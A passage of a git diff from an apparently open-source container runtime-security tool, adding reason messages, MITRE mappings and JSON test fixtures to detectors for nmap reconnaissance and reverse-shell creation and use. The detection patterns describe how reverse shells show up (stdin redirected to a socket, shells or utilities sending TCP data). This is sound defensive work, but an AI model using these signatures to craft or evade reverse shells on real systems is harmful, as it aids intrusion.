"/usr/bin/nmap", - "arguments": "localhost", - "flags": "execve rootcwd clone", - "start_time": "2024-07-01T15:51:27.632215549Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "container": { - "id": "cri-o://cf7b0a3fa193adee581364d4f46c6665284aa7785641c09ea2580fbfee8ac4f8", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-07-01T15:31:30Z", - "pid": 1697, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "cf7b0a3fa193adee581364d4f46c666", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzMDQyMTA3ODExMTc6MzM2NTM2OQ==", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532263, - "is_host": false - }, - "ipc": { - "inum": 4026533285, - "is_host": false - }, - "mnt": { - "inum": 4026533567, - "is_host": false - }, - "pid": { - "inum": 4026533568, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533568, - "is_host": false - }, - "net": { - "inum": 4026533286, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533569, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3366024, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzMDQyMTA3ODExMTc6MzM2NTM2OQ==", - "pid": 3365369, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-07-01T15:50:39.856990647Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-raw", - "container": { - "id": "cri-o://cf7b0a3fa193adee581364d4f46c6665284aa7785641c09ea2580fbfee8ac4f8", - "name": "test-pod-debian-raw", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-07-01T15:31:30Z", - "pid": 1460, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-raw", - "workload_kind": "Pod" - }, - "docker": "cf7b0a3fa193adee581364d4f46c666", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzMDQyMDk1MzM0MDA6MzM2NTM2OQ==", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532263, - "is_host": false - }, - "ipc": { - "inum": 4026533285, - "is_host": false - }, - "mnt": { - "inum": 4026533567, - "is_host": false - }, - "pid": { - "inum": 4026533568, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533568, - "is_host": false - }, - "net": { - "inum": 4026533286, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533569, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3365369, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "security_mmap_file", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/usr/lib/x86_64-linux-gnu/libpcap.so.1.10.3", - "flags": "", - "permission": "-rw-r--r--" - }, - "label": "" - }, - { - "uint_arg": 3, - "label": "" - }, - { - "uint_arg": 2066, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "file-monitoring", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-07-01T15:51:27.632603799Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } -*/ diff --git a/event-processor/detector/wasm/CS_RT_RECON_TOOLS/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_RECON_TOOLS/testdata/negative_benign_path.json new file mode 100644 index 00000000..4049e596 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_RECON_TOOLS/testdata/negative_benign_path.json @@ -0,0 +1,34 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/cat", + "arguments": "/etc/issue" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/usr/lib/x86_64-linux-gnu/libc.so.6" + } + }, + { + "int_arg": 4 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_RECON_TOOLS/testdata/positive_nmap_recon.json b/event-processor/detector/wasm/CS_RT_RECON_TOOLS/testdata/positive_nmap_recon.json new file mode 100644 index 00000000..b59c3f78 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_RECON_TOOLS/testdata/positive_nmap_recon.json @@ -0,0 +1,291 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzNTE5ODYwMDYwNTQ6MzM2NjAyNA==", + "pid": 3366024, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/nmap", + "arguments": "localhost", + "flags": "execve rootcwd clone", + "start_time": "2024-07-01T15:51:27.632215549Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "cri-o://cf7b0a3fa193adee581364d4f46c6665284aa7785641c09ea2580fbfee8ac4f8", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-07-01T15:31:30Z", + "pid": 1697, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "cf7b0a3fa193adee581364d4f46c666", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzMDQyMTA3ODExMTc6MzM2NTM2OQ==", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026532263, + "is_host": false + }, + "ipc": { + "inum": 4026533285, + "is_host": false + }, + "mnt": { + "inum": 4026533567, + "is_host": false + }, + "pid": { + "inum": 4026533568, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533568, + "is_host": false + }, + "net": { + "inum": 4026533286, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533569, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3366024, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzMDQyMTA3ODExMTc6MzM2NTM2OQ==", + "pid": 3365369, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-07-01T15:50:39.856990647Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "cri-o://cf7b0a3fa193adee581364d4f46c6665284aa7785641c09ea2580fbfee8ac4f8", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-07-01T15:31:30Z", + "pid": 1460, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "cf7b0a3fa193adee581364d4f46c666", + "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjM4OTAzMDQyMDk1MzM0MDA6MzM2NTM2OQ==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026532263, + "is_host": false + }, + "ipc": { + "inum": 4026533285, + "is_host": false + }, + "mnt": { + "inum": 4026533567, + "is_host": false + }, + "pid": { + "inum": 4026533568, + "is_host": false + }, + "pid_for_children": { + "inum": 4026533568, + "is_host": false + }, + "net": { + "inum": 4026533286, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026533569, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 3365369, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "security_mmap_file", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/usr/lib/x86_64-linux-gnu/libpcap.so.1.10.3", + "flags": "", + "permission": "-rw-r--r--" + }, + "label": "" + }, + { + "uint_arg": 3, + "label": "" + }, + { + "uint_arg": 2066, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "file-monitoring", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "test-k8s-cluster", + "time": "2024-07-01T15:51:27.632603799Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_RECON_TOOLS", + "severity": "MEDIUM", + "reason_contains": "network reconnaissance", + "tactics": [ + "TA0007" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/main.go b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/main.go index 25d7a2d1..0485518a 100644 --- a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/main.go +++ b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/main.go @@ -13,12 +13,17 @@ import ( const ( ID = "CS_RT_REVERSE_SHELL_CREATE" Name = "Reverse shell creation" - Description = "The detector detects signs that a reverse shell was created." + Description = "The detector detects if the standard input stream was redirected to a network socket, which may be a sign of reverse shell creation." Version = 1 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + KprobeNoArgs = "Detected that a reverse shell was started by the `%s` process" + KprobeDefault = "Detected that a reverse shell was started by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -37,8 +42,26 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1190", + }, + }, + { + Id: "TA0002", + Techniques: []string{ + "T1059.004", + "T1059.006", + }, + }, + } +) + +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -46,12 +69,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -85,6 +109,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() functionName := kprobe.GetFunctionName() if functionName == "do_dup2" { @@ -99,6 +125,12 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Trigger when stdin file descriptor (0) is duplicated into a socket. if filePerm[0] == 's' { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeNoArgs, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeDefault, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -112,271 +144,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNjgzOTcxNTEzODQxMTU6NzU3MzQ0", - "pid": 757344, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve", - "start_time": "2024-08-08T14:25:32.797594902Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "cri-o://426ccd7bdd6e9565a3f2767765b0c1fc160c8132c331884a6000759307b4fae2", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:11Z", - "pid": 4194, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "426ccd7bdd6e9565a3f2767765b0c1f", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNjgxODA2NTc2NDI1NDE6NzU1MDgw", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532264, - "is_host": false - }, - "ipc": { - "inum": 4026532265, - "is_host": false - }, - "mnt": { - "inum": 4026532792, - "is_host": false - }, - "pid": { - "inum": 4026532793, - "is_host": false - }, - "pid_for_children": { - "inum": 4026532793, - "is_host": false - }, - "net": { - "inum": 4026532266, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026532794, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 757344, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNjgxODA2NTc2NDI1NDE6NzU1MDgw", - "pid": 755080, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2024-08-08T14:21:56.303852687Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "cri-o://426ccd7bdd6e9565a3f2767765b0c1fc160c8132c331884a6000759307b4fae2", - "name": "test-pod-debian", - "image": { - "id": "31d5e503c34f4496a263fb3557575cf53e6a40add4c459370120c7454985f7b7", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-18T19:36:11Z", - "pid": 4194, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "426ccd7bdd6e9565a3f2767765b0c1f", - "parent_exec_id": "cHRleHBlcnRzLWs4cy1wdGNzOjcxNjgxODA2NTY3MDkzMjY6NzU1MDgw", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532264, - "is_host": false - }, - "ipc": { - "inum": 4026532265, - "is_host": false - }, - "mnt": { - "inum": 4026532792, - "is_host": false - }, - "pid": { - "inum": 4026532793, - "is_host": false - }, - "pid_for_children": { - "inum": 4026532793, - "is_host": false - }, - "net": { - "inum": 4026532266, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026532794, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 755080, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "do_dup2", - "args": [ - { - "file_arg": { - "mount": "", - "path": "", - "flags": "", - "permission": "srwxrwxrwx" - }, - "label": "" - }, - { - "int_arg": 0, - "label": "fd" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "dup", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "experts-k8s-cs", - "time": "2024-08-08T14:25:32.798469136Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/testdata/negative_regular_dup2.json b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/testdata/negative_regular_dup2.json new file mode 100644 index 00000000..6d110ae1 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/testdata/negative_regular_dup2.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 757344, + "binary": "/usr/bin/bash", + "arguments": "" + }, + "function_name": "do_dup2", + "args": [ + { + "file_arg": { + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 0, + "label": "fd" + } + ] + }, + "node_name": "test-node", + "time": "2024-08-08T14:25:32.798469136Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/testdata/positive_socket_dup2.json b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/testdata/positive_socket_dup2.json new file mode 100644 index 00000000..c65e9984 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_CREATE/testdata/positive_socket_dup2.json @@ -0,0 +1,43 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 757344, + "binary": "/usr/bin/bash", + "arguments": "" + }, + "function_name": "do_dup2", + "args": [ + { + "file_arg": { + "permission": "srwxrwxrwx" + } + }, + { + "int_arg": 0, + "label": "fd" + } + ] + }, + "node_name": "test-node", + "time": "2024-08-08T14:25:32.798469136Z" + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_REVERSE_SHELL_CREATE", + "severity": "HIGH", + "reason_contains": "reverse shell", + "tactics": [ + "TA0001", + "TA0002" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/main.go b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/main.go index d3ac521e..d42ee63d 100644 --- a/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/main.go +++ b/event-processor/detector/wasm/CS_RT_REVERSE_SHELL_USE/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "github.com/gobwas/glob" "github.com/runtime-radar/runtime-radar/event-processor/detector/api" @@ -13,12 +14,19 @@ import ( const ( ID = "CS_RT_REVERSE_SHELL_USE" Name = "Reverse shell use" - Description = "The detector detects signs that a reverse shell is used." + Description = "The detector detects if data was sent via a network connection by utilities that are not designed for this. This behavior may indicate use of a reverse shell." Version = 2 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + KprobeUtilsNoArgs = "Detected that data was sent to the host with IP address `%s` and port `%d` by the `%s` utility" + KprobeUtilsDefault = "Detected that data was sent to the host with IP address `%s` and port `%d` by the `%s` utility, which was started using the `%s` arguments" + KprobeShellsNoArgs = "Detected that data was sent to the host with IP address `%s` and port `%d` by the `%s` command shell" + KprobeShellsDefault = "Detected that data was sent to the host with IP address `%s` and port `%d` by the `%s` command shell, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -37,6 +45,24 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1190", + }, + }, + { + Id: "TA0002", + Techniques: []string{ + "T1059.004", + "T1059.006", + }, + }, + } +) + var ( commonLinuxTools = []glob.Glob{ glob.MustCompile("*/ls"), @@ -73,8 +99,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -82,12 +108,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -122,22 +149,41 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() + args := kprobe.GetArgs() if function != "tcp_sendmsg" { return resp, nil } + dstIp := args[0].GetSockArg().GetDaddr() + dstPort := args[0].GetSockArg().GetDport() + for _, tool := range commonLinuxTools { if tool.Match(binary) { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeUtilsNoArgs, dstIp, dstPort, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeUtilsDefault, dstIp, dstPort, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH + return resp, nil // <-- threat detected } } for _, shell := range shells { if shell.Match(binary) { + resp.TacticsCovered = mitreTactics + if binaryArgs == "" { + resp.Reason = fmt.Sprintf(KprobeShellsNoArgs, dstIp, dstPort, binary) + } else { + resp.Reason = fmt.Sprintf(KprobeShellsDefault, dstIp, dstPort, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH + return resp, nil // <-- threat detected } } @@ -149,275 +195,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc4MjAwMzM4MjU0NjM0OjM2NzQ1ODA=", - "pid": 3674580, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/ls", - "arguments": "-la", - "flags": "execve rootcwd clone", - "start_time": "2024-05-22T18:26:04.097059929Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian", - "container": { - "id": "cri-o://9f1e6eb99ef555cc81c4b805f5e34c7270980bb48682331a8c95367b7702f6bd", - "name": "test-pod-debian", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2024-05-19T17:38:40Z", - "pid": 803, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian", - "workload_kind": "Pod" - }, - "docker": "9f1e6eb99ef555cc81c4b805f5e34c7", - "parent_exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc3NDc5MDY3MjE0MzQyOjM2NjUwOTM=", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026532835, - "is_host": false - }, - "ipc": { - "inum": 4026532836, - "is_host": false - }, - "mnt": { - "inum": 4026533197, - "is_host": false - }, - "pid": { - "inum": 4026533198, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533198, - "is_host": false - }, - "net": { - "inum": 4026532837, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026531835, - "is_host": true - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 3674580, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "YWtvbWlzb3YtOC04LWV4cGVyaW1lbnRzLWFrb21pc292LWdyb3VwLTE6Mjc3NDc5MDY3MjE0MzQyOjM2NjUwOTM=", - "pid": 3665093, - "uid": 